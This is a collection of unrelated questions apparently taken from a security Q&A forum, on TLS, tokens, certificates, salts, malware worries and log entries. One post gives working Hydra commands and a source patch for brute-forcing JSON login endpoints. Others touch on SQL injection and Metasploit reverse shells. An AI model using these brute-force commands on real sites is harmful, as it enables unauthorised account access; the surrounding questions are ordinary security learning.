I've tried to understand the content of the Finished Message of TLS. I'm using wireshark to capture the traffic between my browser and the internet. I noticed a "stangeness" when the chosen ciphersuite is AES_GCM. Beign it a stream-cipher, it has no padding, so, if I got it right, the data being sent in the Finished Message is: 8 bytes Explicit Nonce 12 bytes verify_data 16 bytes authentication tag That is, 36 bytes in total. The "problem" is that the Finished Message packet size is 40 bytes. And here it is: Why the message packet is 40 bytes and what are the red bytes? And why wireshark sees two hello requests? And another this... the Client answers with a 176 bytes packet: What am I missing?
Is it a security risk to myself that I am not logging out of Twitter, Facebook, StackExchange, and a majority of the sites which I am using? Is there a chance for someone to hijack my session or cause damage to any of my online accounts? For my situation, I am limiting all of the damage I can by running a VPN and trying to access all websites using https://. I know a lot of users do not do this, so there might be even more risk for them to stay logged in, but also for me, there still may be risk.
When it comes to technologies that directly affect information security, how do you determine when it is better to use an automatic option instead of a manual option, and vice versa? I already feel uncomfortable letting my browser remember my passwords and letting my OS install updates automatically.
I've been examining various things under LSA in the registry, and I came across this: http://www.itsecdb.com/oval/definition/oval/gov.nist.usgcb.windowsseven/def/20016/Network-security-Allow-LocalSystem-NULL-session-fallback.html What exactly is Null session fallback? When does it occur? What sort of risk would I be looking at in my network from it? Thanks for any responses in advance!
I have to do a presentation on developing an authentication plan for a financial services application used to manage an investment portfolio. I have to develop use scenarios for the 2 functions (depositing money to a fund and withdrawing from it). How would the use scenarios differ?
I generate oauth2 access and refresh tokens and store them in my database. I generate these tokens using UUID v4 and remove the dashes. I used to delete the tokens after they expire but now I store all of them because I thought of something that could happen. What if an attacker stored locally all of the access tokens that were generated for him and he kept using these access tokens again and again for authorization. Since I, as the DB admin, was deleting the generated tokens, the DB has no way of knowing that the token is unique. Therefore if the UUIDv4 algorithm generates an access token for a different user and it's a collision (same UUID as one generated previously) and the attacker found that collision, he could get into the service since he has the tokens that have been generated before. My question is should I worry about this and keep all my tokens in case of collision to check for uniqueness or should I delete the access and refresh tokens after they expire and trust that UUIDv4 has enough entropy to prevent this? I'm also worried that if I keep all the tokens, it's going to inflate the database since the access tokens expire every hour and are regenerated the next time the user takes an action. Any help is appreciated!
Is it secure to create a self signed certificate when just clients will send sensitive information to the server? After checking out the topic "What are the risks of self signing a certificate for SSL" it seems so, or am I wrong?
I had an Ubuntu VM running and I was using Firefox in it to look at tutorials; then my antivirus detected an attempt to forcefully install a fake Java Upgrader. From what I know about the VirtualBox NAT option for the network adapter... in fact, all the internet accessing options, is that they use the network capabilities of the host( where else could they get such functionality? ). So, given the above, I'm inclined to believe that fake Java Upgrader was intended for my virtual machine; but since the VM uses host resources, the fake upgrader was picked up as host traffic( which makes sense, the antivirus watches that at least minimally ). So the question is, how safe are the internet accessing network adapter options for the host? Could that fake upgrader, coded to target the VM( because the VM was the one that tripped on the hostile page ), attack the host instead?
I want to implement a search over encrypted data. I found a blogpost, which explains 3 methods. One method is to use deterministic encryption, which I'm trying to implement. But my use case is a little bit different. My application provides end-to-end-encrytpion, so that I (as the service provider) cannot read user data. The data is encrypted on the user's client. Now I want to search through data of different users. The search function and it's results aren't public, they will only be used internally to calculate some metadata, which is sent to the data owner. I don't need to know the unencrypted data, only their relationship. The data isn't natural language so frequency analysis or dictionary attacks shouldn't be a problem, for example person names and email adresses. To make the encryption deterministic, I have to use the same salt for each data and it's known by everyone. (For example I would use bcrypt's hashpw function always with salt "staticsalt".) Is this still secure enough or does using the same salt for everyone making it useless? If it's useless, how should I implement a search through encrypted data of multiple users? The other two search methods in the blogpost don't seem to provide multi-user functionality.
Please note: A majority of this question is based on the facts that a lot of my members and I are one step from being tin-foil hats. If you continue to read and answer this question, please remember this. I help run a community forums where we talk about technology news, progress being made, and overall how to try to improve the web from programming better to security standards. I have officially purchased a SSL Certificate to make myself, my staff, and some users happier with feeling like with prying eyes, we can be more secure by visiting the forums. By forcing all members, and connections throughout the website to use https:// instead of http://, we have a sense of things are a little more better for the recent leaks of Edward Snowden and the issues which have arisen from that -- plus some with Net Neutrality. By adding this SSL Certificate, can that help build trust that your site is more secure, with less prying eyes, and our users are technical users are trusting us more that we are doing the right thing. Does adding a SSL Certificate help build trust with the people who are worried about security?
I'm trying to make a file uploader using PrimeFaces, but it is vulnerable to scripts: If someone tries to upload a file (e.g. a résumé) that includes JavaScript, this could get executed once the file upload is completed. Are there efficient ways to detect JavaScript code? I know parsing the file can detect the code, but I consider parsing every file that's uploaded a bad idea because it consumes processing power.
I am currently proud user of Feitan ePass2003 with OpenSC, however it is not 100% reliable on Windows, on Linux it's just perfect. Anyway I started to looking and I have two candidates eToken Pro 64K by SafeNet and AESKey by Athena, they are both supported by OpenSC, but I could not find any reseller in Central Europe, it actually looks like they are not more on market. So, could you recommend me any other OpenSC+CCID complain token which is available and is able to handle at least 2048b + sha1/sha256? Do you know for example any CCID complain token with CardOS, as CardOS is generally supported by OpenSC?
In a modern OS I think that: the .text section where binary assembled CPU instructions are stored cannot be modified the .data/.bss section is marked as no-execute so that the information there will only be treated as data, will never be executed by the CPU So how is it possible for an exploit containing a payload of binary assembled instructions to get execution?
I am having problems with Hydra and a JSON payload. The login request (intercepted with Fiddler), is the following: POST http://architectureservice.test.com/api/v1/login HTTP/1.1 Host: architectureservice.test.com User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:30.0) Gecko/20100101 Firefox/30.0 Accept: application/json, text/plain, */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/json;charset=utf-8 Referer: http://architectureclient.test.com/ Content-Length: 51 Origin: http://architectureclient.test.com Connection: keep-alive Pragma: no-cache Cache-Control: no-cache {"username":"tester","password":"test"} The Response, in case of a wrong password is actually empty because of the fact that it is a Single Page Application. The server will return a 404 (Not Found) or 405 error code instead. In case the credentials are correct, it will proceed an return a 200 page. As you can see, the request flows from a client to a service. There is actually no form on the service, it takes in the parameters filled in on the client (this is all on my local machine, adapted the HOSTS file). When the credentials are correct, a cookie will be created (this is the first cookie, there is no session cookie or sth before logging in). Now, the credentials are passed in JSON format. My Hydra command looks as follows: hydra -L "users.txt" -P "passwords.txt" -s 80 architectureservice.test.com http-post-form "/api/v1/login:{'username'\:'^USER^','password'\:'^PASS^'}:NOT FOUND" However, this returns that all passwords are valid. Is it possible to use Hydra with JSON format and a Single page application? UPDATE Thanks to Iserni's answer, I was able to construct the following command: hydra -v -V -L "users.txt" -P "passwords.txt" -s 80 architectureservice.test.com http-post-form "/api/v1/login:{\"username\"\:\"^USER^\",\"password\"\:\"^PASS^\"}:changeFirstName:H=Accept: application/json, text/plain, */*:H=Accept-Language: en-US,en;q=0.5:H=Accept-Encoding: gzip, deflate:H=Referer: http\://architectureclient.test.com/:H=Origin: http\://architectureclient.test.com:H=Connection: keep-alive" NOTE: Please note that it is not necessary to escape colons in the Header values. In fact, this breaks the command, so you must not escape the colons there. I intercepted this request with Wireshark, and it looks exactly the same as the one made from Firefox, except for the JSON payload. Hydra creates a 'x-www-form-urlencoded' body. If I try encoding it this way using a Firefox request (intercepted with fiddler), I get a 'not found' error. So I indeed need to be able to create a JSON content-type. Is this possible with Hydra? To clarify things, here's a screenshot of the Wireshark capture: Everything is exactly the same as when a request from Firefox is made, except for the Content-Type header and thus also the body payload (from Firefox it is JSON). UPDATE: SOLUTION hydra -v -V -L "users.txt" -P "passwords.txt" -s 80 architectureservice.tester.com http-post-form "/api/v1/login:{\"username\"\:\"^USER^\",\"password\"\:\"^PASS^\"}:S=firstName:H=Accept: application/json, text/plain, */*:H=Accept-Language: en-US,en;q=0.5:H=Accept-Encoding: gzip, deflate:H=Referer: http\://architectureclient.tester.com/:H=Origin: http\://architectureclient.tester.com:H=Connection: keep-alive" S=: I used this because in case of a failure, we get an empty response. The S= can be used to tell Hydra what comes back in case of a valid response. (We send back the firstName in case of a success) H=: I noticed that Hydra understands that in a header, there will always be a colon. So you do not need to escape colons in headers. In other places, you do. The above command works, in case you adapt the source of Hydra as follows (for Hydra 7.6): Around line 327 of hydra-http-form.c: if (strcmp(type, "POST") == 0) { sprintf(buffer, "POST %.600s HTTP/1.0\r\nHost: %s\r\nUser-Agent: Mozilla/5.0 (Hydra)\r\nContent-Type: application/json\r\nContent-Length: %d\r\n%s%s\r\n%s", url, webtarget, (int) strlen(upd3variables), header, cuserheader, upd3variables); if (hydra_send(s, buffer, strlen(buffer), 0) < 0) { return 1; As you can see, I took the ugliest solution possible (switch hardcoded header value from "x-www-form-urlencoded" to "json". Iserni (see answer below) suggested a better approach, but I got some syntax errors and decided to just hardcode the json value. Also, the Content-Type is hardcoded in multiple places in the hydra-http-form.c file, please change wherever necessary for your situation. Now, you can use Hydra to bruteforce json web apps.
My requirements are: Requirement 1: Share public key to java server. Steps: Generate public-private keys in iOS app. Store the generated keys in keychain. Send generated public key to java server. Java server shall be able to store shared public key in database. Requirement 2: Store public key sent by java server. Steps: Java server sends public key of other user. Process data sent by java server and generate public key from it. Store generated key in keychain, which can be later retrieved for encrypting message to be transferred. I am able to achieve steps 1-2 in requirement 1 by using below method defined in SecKeyWrapper class (CommonCrypto sample): - (void)generateKeyPair:(NSUInteger)keySize Question 1: Now problem is- how shall I send that key to java server? We have getPublicKeyBits method in the same class, which returns an NSData object, on some googling I found that it is in DER encoded format. Question 2: If I send the same NSData object to server, which I guess it will interpret as ByteBuffer object, will it be possible for other devices, in my case it could be android, to interpret that data? Question 3: What is the best way to share public key in above scenarios?
I understand that an IDS/IPS working on layer 2 has more insight into what is going on. But considering IDS/IPS evasions, why is a layer 2 device preferable as compared to a layer 3 device that is still investigating on the same layer where the attacks are occuring ? Thanks in advance, ken
I don't want it to just check the extension of the file as these can easily be forged even MIME types can be forged using tools like TamperData. So is there a better way to check file types in PHP ?
Is there some sort of a (free) SSH tunneling suite like the one on the Pwnie Express' Pwn Plug (R2)? It has SSH over HTTP, DNS, ICMP, and other covert tunneling options and uses BackTrack 5 as a SSH revceiver. I would like the be able to test what kind of tunneling a network is vulnerable for on a Raspberry Pi instead of the (rather expensive) Pwn Plug. In fact, all I need to know is if the tunnel is established. EDIT: I think I'll just generate reverse Linux shells with metasploit on the Raspberry Pi and execute them with a script and handle the incoming connections with several multihandlers. If someone has a better idea, please let me know
I recently responded to an incident of supposed malware infection. The symptoms were simply, "My computer freezes at random times." The response ended with replacement of the physical hard drive and re-imaging the machine. Later, I forensically imaged the 'broken' hard drive and have ran several malware detection scans with no hits (just two simple tracking cookies). I'm not much of a hardware guy but it does seem the physical HDD was just worn out (it is over 6 years old). This experience leads me to the question of whether a virus or other malware can physically damage a hard drive. I know of Stuxnet but am unaware of - shall we say - consumer grade malware. Can anyone point me to resources that explain the feasibility and challenges involved with physically damaging a hard drive from malware?
[Sun May 11 12:24:46 2014] [error] [client private ip] [X_FORWARDED_FOR 27.159.207.165] Path not found: /contact_us_public.php/trackback/, referer: http://www.mydomain.net/contact_us_public.php Does anyone know what this might mean, or what kind of attack is being attempted? I noticed since friday (day before last) there has been a lot of activity from someone trying to access links with "trackback". http://en.wikipedia.org/wiki/Trackback doesn't really offer much of a reason as to why someone would attempt to access multple times (on different ip's) a trackback. Ip's: 119.92.251.11 27.159.203.125 27.159.210.166 198.52.215.234, 41.178.225.12 198.52.215.234, 182.253.39.13 And then this: [Sat May 10 09:46:55 2014] [error] an unknown filter was not added: includes Has anyone else seen anything like this?
I was guessing what could happen when all IPv4 be changed to IPv6 , like pen-testing tools and network configuration for common users. Will all the IPv4 be automatically translated to a IPv6 new one ? Or the user need to manually input the new version ? Won't this be a big trouble somewhere? What about tools that are all based on IPv4?Scripts?Programs?I'm looking for a broad answer with a logic to follow , don't need a deep answer.
In one of my controllers I have this method: def method_name if current_user @model = Model.find(params[:id]) if @model.destroy flash.alert = 'Model deleted successfully' redirect_to models_path end end end I check if there is a current_user assigned by devise before giving the ability for the @model to be deleted. Is this safe and sufficient in terms of security? What I really do is just checking if current_user exists. So is there a way that somebody can "trick" the system that current_user does exist and as a result be able to trigger the commands included in the method?
What are the main vulnerabilities of TLS v1.1? Actually, no RFC describes v1.1 vulnerabilities, neither what pushed them to change to the new protocol 1.2 except the description given in section 1.2 of RFC 5246. Please note that I do not mean implementation vulnerabilities, I am only looking for issues with the protocol itself.
I'm using a standard user account and then run whatever as administrator so that I type in administrator password... I wonder if potentially undetected malicious software such as a trojan is able to log my administrator account password and use the logged password to gain privilege over the system? i.e. to setup a backdoor. edit: Assuming windows 7 with UAC control to the max.
If using one standard user account (for daily task) and one administrator account, then while in standard you can download some virus or whatever and put that into public folder. of course, assuming the malware is not detected. Then when admin log's in to it's administrator account, there is a posibility that admin will infect whole system since that malware will be shown in his user profile. Is there a way to disable public folders or something that can prevent sharing of files between users and administrators?
I would like to use an asymmetric rather than symmetric signature for authorization, since I don't want a compromised service being able to forge authorization tokens (obviously). An authorization token is generated by an authentication server for a specific set of services, and returned to the client, always transported as a base64 encoded string. After expiry, the principal must re-authenticate to retrieve a fresh token. I need to handle a high volume of very small stateless HTTP-REST requests (potentially several a second per client), and I'm conscious of the overall size of the token saturating the network. Currently I'm (randomly) considering using 2048-bit RSA with SHA-256, but further reducing this overhead would be great. Since a given token will always expire within at most 15 minutes, it dawned on me that it should be possible to use an even smaller key/hash by regularly generating new key-pairs. Services would periodically poll a key provider service to retrieve the current and next public key, and a byte or so of the token would identify the key used to sign it. Is my assumption correct? Can I stoop to as low as 1024-bit keys? I vaguely recall that there is a break for RSA <= 512 bits, how severe is it, and could one compensate by rotating the keypairs faster? I'm not married to either RSA or SHA256, but I am dependent on OpenSSL. I'd like to first ensure my reasoning is sound, and second, to solicit any algorithm/key-sizes/alternative techniques that would be considered good practice in this situation.
I've read and seen articles on backdoors in the processors or at least the idea of that would render software based encryption worthless. I do know that routers and lots of the newer devices all have backdoors in them which allowed china to crack several major businesses like google ect... Would older hardware be more secure and offer better protection from decryption?
I am actually working on a scolar presentation about Careto malware. I was really impressed by the time it took to discover it (at least 6 years, according to some compilation stamps), so to improve my presentation I am looking for statistics about the average time before a malware gets detected (i.e. the time between its creation/diffusion and its discovery by someone), to compare Careto to the average malware. I have searched on Google but couldn't find anything interesting (because "the time to detect a malware" can also be interpreted as "the time to detect a malware on your computer").
I am trying to do some research on SSL certificates, and I've come across a number of reseller sites such as GoGetSSL, which offer certificates at much lower prices than what you would pay if you bought them directly from the certificate authority. I understand resellers buy certificates in bulk which allows them to pass on discounts, but I can't understand what the advantage would be to go to the directly to the certificate authority?
I know there's little reason to still use ENCRYPT() nowadays, what with bcrypt being almost ubiquitous and MySQL providing better hashes such as SHA1. But while dabbling with ENCRYPT() on MySQL 5.6.12 (OpenSuSE 13.1, x64), I noticed an anomaly with its output that I at first attributed to the entropy pool being depleted (it could have been), and then possibly to the salt being leaked between connections. Upon verification, it turned out not to be the case. Rather, the salt is derived from the UNIX timestamp. So two calls to ENCRYPT() within the same second will yield identical salts, and the salt repeats itself exactly every one hour, 12 minutes, 16 seconds. while(true); do \ echo "SELECT NOW(),ENCRYPT('test');" \ | mysql test | grep -v ENCRYPT; \ done | uniq -c 54 2014-05-14 00:13:16 w5kVzeZkJCcqM 148 2014-05-14 00:13:17 x5/h3KfsBkEYk 150 2014-05-14 00:13:18 y5thvRDxwJgM6 145 2014-05-14 00:13:19 z5RL9IZ0..XH6 141 2014-05-14 00:13:20 .6asQOJRqB1i2 130 2014-05-14 00:13:21 /6J1nHNWbi6Ac 124 2014-05-14 00:13:22 06NT9j.EegRJs Of course I can supply my own salt and get it from a random source - TO_BASE64(CONCAT(CHAR(RAND()*256),CHAR(RAND()*256))) or something, which should get the same character range as the original salt in its first two bytes, so ENCRYPT()'s whipping up a salt of its own needs only be a last-ditch effort. And the salt isn't expected to be secret, so it being known beforehand is maybe not too great a problem. Even so, using time() for salting doesn't seem a very good option to me (this answer also confirms this). Am I missing something obvious? Is maybe this behaviour configurable somehow (apart from recompiling)? Is it a known feature (I wasn't able to find any reference on Google or MySQL KB)?
Today I got a warning from Microsoft saying that there was unusual activity on my account. Diving deeper I saw that there was a successful sign in from a Google owned IP address (according to ARIN). However, I use Two-Factor Authentication (Both on my Microsoft and Google account) and they were stopped at the token challenge. The weird thing is, I never gave Google my password for my Microsoft Account. I did give google an Application Password so that Gmail can use my live account, however these passwords bypass the authentication, leading me to think that they used my actual password. In the account activity section on my Microsoft account, I can see all of the POP3 logins that Google is using, which is to be expected, and if I force replication of my account through gmail it does not get denied. My question's are: If this was Google, how in the world did they get my password? Or is this somebody who is spoofing their IP address to look like Google? And what course of action should I take? I've set a new password, and regenerated all of my application passwords, should I do anything else?
Jetblue's password requirements specify that, among other stringent requirements: Cannot contain a Q or Z I can't fathom a logical reason for this, unless it were say, extremely common for the left side of keyboards to break, but then you wouldn't allow 'A' either :) What would be the reason for this security requirement?
Today I received a very suspicious email on my gmail account. When I analyzed the content of the message, this is what essentially made up the message. <center> <a alt="" src="sdfqdfsdfdfsdfsdfsfdfs" id="wzjlcoizurxciacwhxco" class="fsgfgsdfgdgdfgfdgdfgfgsdf" href="" href=" /1842260810 /vyx587xse262622a59f1134f720:454850094g705" type="text/html"><font color="#00000" size="5" face="COMIC">Is_This_Really_Me?</font><br><br> </a><br/><br/><br/> <a alt="nyljirqulccpodexwgiy" src="sdfqdfsdfdfsdfsdfsfdfs" id="wzjlcoizurxciacwhxco" class="fsgfgsdfgdgdfgfdgdfgfgsdf" href="" href=" /1842260810/vyx587xse262622a59f1134f721:454850094g705" type="text/html"> <Img src="" id="fdgfgsdfgdfgdfsgdfgdf" alt="" class="dsfsdfsfdfsfdfsfdfsfdfgqzrbhzez" type="text/html" style="font- size:15;"> _Remove_Me_ </a> <Img src=" /1842260810 /vyx587xse262622a59f1134f722:454850094g705" id="fdgfgsdfgdfgdfsgdfgdf" style="width:1PX;height:1PX" > </center> Can someone explain what exactly is going on here, especially the link tags. Where exactly does the href attribute point too, or better yet, it doesn't look like a host name, or an IP address. How would I be able to SAFELY analyze where the links leads too and what do they do? I am running Fedora Linux. If there is any malicious code, how could I safely see what exactly is going on here?
My questions is related with static code analysis approach used by Veracode vs Fortify/AppScan. Veracode – Finds security flaws in application binaries and bytecode without requiring source Fortify/AppScan - Analyzes actual source code to identify security vulnerabilities. A) Is there an advantage/disadvantage of conducting reviews of binaries over source-code? B) Which one provides more coverage/vulnerabilities. C) Any examples would be great. Thanks,
Can I brute-force a password hash even if I don't know the underlying algorithm? For example if I get hold of a database with password hashes and the used hash algorithm is unknown, like a random mix of SHA/MD5/Bcrypt/custom/Salt/Pepper. Will a password cracking expert still be able to brute force the password hashes? I also guess (for a public web site) that you can at least create your own "account" with a known password, so you have perhaps one known input->hash pair. Will that be of any use?
I am used to finding some random probing from script bots in my apache log files, but today I found some strange entries: 65.55.24.247 - - [25/Apr/2014:01:52:36 +0000] "GET /calendar/caldetail/id/281/num/1328144400 HTTP/1.1" 404 439 "-" "Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)" 66.220.158.115 - - [05/Apr/2014:06:19:08 +0000] "GET /media/u1485/album/pic_1485_3218_original.jpg HTTP/1.1" 404 443 "-" "facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)" There were numerous other entries similar to these. The strange thing is that it looks like they originated either from Facebook or Microsoft servers. Both provide identifying information as well as IP addresses that appear to belong to the aforementioned organizations. I do not have any URLs that look even close to those found in the GET requests. To give some background, I bought the domain something like a month ago and AFAIK it was not used before. Can anyone shed some light on the possible causes of these requests?
Context I'm developping my own OCSP responder which signed its ocsp responses with its own self signed certificate caOcspBC.crt. You can find it here : https://github.com/Dinou/ocspResponder I want to get the revocation status from a certificate RC.crt issued from a CA certificate CA.crt thanks to openssl. All my certificates are located here : https://github.com/Dinou/ocspResponder/tree/master/src/main/resources/certificates So, I execute this first command where I explicitly trust my ocsp certificate thanks to -VAfile option : # openssl ocsp -issuer CA.crt -VAfile caOcspBC.crt -cert RC.crt -req_text -url http://responderurl:port/myServlet OCSP Request Data: Version: 1 (0x0) Requestor List: Certificate ID: Hash Algorithm: sha1 Issuer Name Hash: 19266539D5B4B518D4382B2D3779CBF53A6061D6 Issuer Key Hash: 89B91685082EF65F5611F965E94422D602BE27DB Serial Number: 0A Request Extensions: OCSP Nonce: 04106D042BFA97BFA61F5AAAD756C5619CF2 Response verify OK RC.crt: good This Update: May 19 14:51:51 2014 GMT It works well. If I don't use the -VAfile option I get : # openssl ocsp -issuer CA.crt -cert RC.crt -req_text -url http://responderUrl:port/myServlet OCSP Request Data: Version: 1 (0x0) Requestor List: Certificate ID: Hash Algorithm: sha1 Issuer Name Hash: 19266539D5B4B518D4382B2D3779CBF53A6061D6 Issuer Key Hash: 89B91685082EF65F5611F965E94422D602BE27DB Serial Number: 0A Request Extensions: OCSP Nonce: 0410C8D048BB5A49596A7714B4D74935E3C5 Response Verify Failure 140451402069696:error:27069065:OCSP routines:OCSP_basic_verify:certificate verify error:ocsp_vfy.c:126:Verify error:unable to get local issuer certificate RC.crt: good This Update: May 19 14:52:09 2014 GMT It doesn't work. In fact my client openssl doesn't trust my ocsp certificate. Problem But I want to use Apache mod_ssl with my generic OCSP, and there is no directive mapping to the -VAfile option -> I can not specify the trusted responder certificates. Question What can I do to make my apache trust my self signed OCSP responder certificate ? Extra context I tried many things : I imported my self signed certificate caOcspBC.crt in /etc/ssl/certs by using this : http://gagravarr.org/writing/openssl-certs/others.shtml#selfsigned-openssl (symbolic link) It didn't work (Same error as was mentioned previously ocsp_vfy.c:126:Verify error:unable to get local issuer certificate) In openssl ocsp documentation states : If the OCSP responder is a ``global responder'' which can give details about multiple CAs and has its own separate certificate chain then its root CA can be trusted for OCSP signing. For example: openssl x509 -in ocspCA.pem -addtrust OCSPSigning -out trustedCA.pem Alternatively the responder certificate itself can be explicitly trusted with the -VAfile option. So, I executed this command on my self signed certificate and then I put It in /etc/ssl/certs as was mentioned previously. It didn't work (Same error as was mentioned previously ocsp_vfy.c:126:Verify error:unable to get local issuer certificate)
There is a security hole CVE-2014-019 in the Linux kernel since 2.6.31-rc3 which allows local users to cause a denial of service (memory corruption and system crash) or gain privileges How serious would this be on my server where I allowed only some trusted friends full SSH access? As far as I understand, an attacker would have to get access to just one account with low privileges somehow (even in a chroot jail for SSH environment?) and then he could gain root access with this exploit?
I am doing a SQLi-Quiz. Below is the orignal statement. insert into users(name,pass) values('bob', [injection point here]) The statement is heavily filterd because the website which supplys the quiz doesn't want someone breaks the whole database. I can't find any way to get this one done so I search a hint on the forum of the quiz. From the search results I know that the only way to make this quiz done is, someone must nullify the whole orginal query. It means that the value "bob" must be nullified too. As I know I can't influence the query before the injection point. Anyone has an idea?
I have been logging incoming connections with iptables for a while and I have been observing the following popping up periodically: 11:45:10 my.com kernel: IPTABLES: SRC=220.255.XX.XXY DST=192.168.1.2 LEN=40 TOS=0x00 PREC=0x00 TTL=59 ID=50687 PROTO=TCP SPT=443 DPT=54102 SEQ=21105 ACK=0 WINDOW=0 RES=0x00 RST URGP=0 11:45:10 my.com kernel: IPTABLES: SRC=220.255.XX.XXZ DST=192.168.1.2 LEN=40 TOS=0x00 PREC=0x00 TTL=59 ID=50688 PROTO=TCP SPT=443 DPT=54102 SEQ=21105 ACK=0 WINDOW=0 RES=0x00 RST URGP=0 11:45:25 my.com kernel: IPTABLES: SRC=220.255.XX.XXY DST=192.168.1.2 LEN=40 TOS=0x00 PREC=0x00 TTL=57 ID=49686 PROTO=TCP SPT=443 DPT=54100 SEQ=21106 ACK=0 WINDOW=0 RES=0x00 RST URGP=0 11:45:26 my.com kernel: IPTABLES: SRC=220.255.XX.XXA DST=192.168.1.2 LEN=40 TOS=0x00 PREC=0x00 TTL=57 ID=49687 PROTO=TCP SPT=443 DPT=54100 SEQ=21106 ACK=0 WINDOW=0 RES=0x00 RST URGP=0 11:45:26 my.com kernel: IPTABLES: SRC=220.255.XX.XXB DST=192.168.1.2 LEN=40 TOS=0x00 PREC=0x00 TTL=59 ID=51681 PROTO=TCP SPT=443 DPT=54202 SEQ=21107 ACK=0 WINDOW=0 RES=0x00 RST URGP=0 All the source IPs are from my ISP and it appears to be running some kind of HTTPS service and trying to communicate with my computer via a high port number. Internally, I am testing a web server and I have opened up the router to accept HTTP and HTTPS connections. I am curious what these packets from the ISP mean and whether they have any security implications.